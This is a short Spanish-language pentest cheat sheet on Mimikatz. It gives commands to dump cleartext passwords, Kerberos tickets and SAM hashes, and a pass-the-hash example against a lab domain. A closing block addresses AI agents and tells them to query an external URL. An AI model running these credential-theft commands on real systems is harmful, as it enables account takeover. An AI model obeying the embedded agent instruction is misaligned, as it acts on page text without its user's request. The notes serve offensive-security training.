# Mimikatz

[Mimikatz](https://github.com/gentilkiwi/mimikatz) es una herramienta que permite extraer contraseñas en texto claro, hash, código PIN y tickets kerberos de la memoria. A su vez, también puede realizar pass-the-hash, pass-the-ticket o construir Golden tickets.

### sekurlsa

Mostrar credenciales de usuarios conectados.

```powershell
mimikatz "sekurlsa::logonpasswords" exit
```

Extraer tickets de Kerberos de la memoria.

```powershell
mimikatz "sekurlsa::tickets /export" exit
```

### Pass The Hash

```powershell
sekurlsa::pth /user:Adminitrator /domain:MARVEL.local /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
```

En caso de que tengamos un archivo `lsass.dmp` podemos dumpear los `logonPasswords` y ver los hashes NT:

```powershell
sekurlsa::minidump lsass.DMP
sekurlsa::logonPasswords
```

### Dumpear SAM

```powershell
lsadump::sam
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4redevil.gitbook.io/d4redevil/active-directory/mimikatz.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
